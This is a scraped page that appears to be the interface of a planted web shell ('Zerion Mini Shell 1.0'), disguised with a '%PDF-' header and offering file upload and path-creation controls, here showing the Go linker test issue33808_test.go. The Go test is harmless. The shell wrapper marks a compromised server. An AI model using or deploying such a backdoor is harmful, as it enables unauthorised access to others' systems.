%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/go/src/cmd/link/internal/ld/
Upload File :
Create Path :
Current File : //usr/local/go/src/cmd/link/internal/ld/issue33808_test.go

// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

package ld

import (
	"internal/testenv"
	"runtime"
	"strings"
	"testing"
)

const prog = `
package main

import "log"

func main() {
	log.Fatalf("HERE")
}
`

func TestIssue33808(t *testing.T) {
	if runtime.GOOS != "darwin" {
		return
	}
	testenv.MustHaveGoBuild(t)
	testenv.MustHaveCGO(t)
	t.Parallel()

	dir := t.TempDir()

	f := gobuild(t, dir, prog, "-ldflags=-linkmode=external")
	f.Close()

	syms, err := f.Symbols()
	if err != nil {
		t.Fatalf("Error reading symbols: %v", err)
	}

	name := "log.Fatalf"
	for _, sym := range syms {
		if strings.Contains(sym.Name, name) {
			return
		}
	}
	t.Fatalf("Didn't find %v", name)
}

Zerion Mini Shell 1.0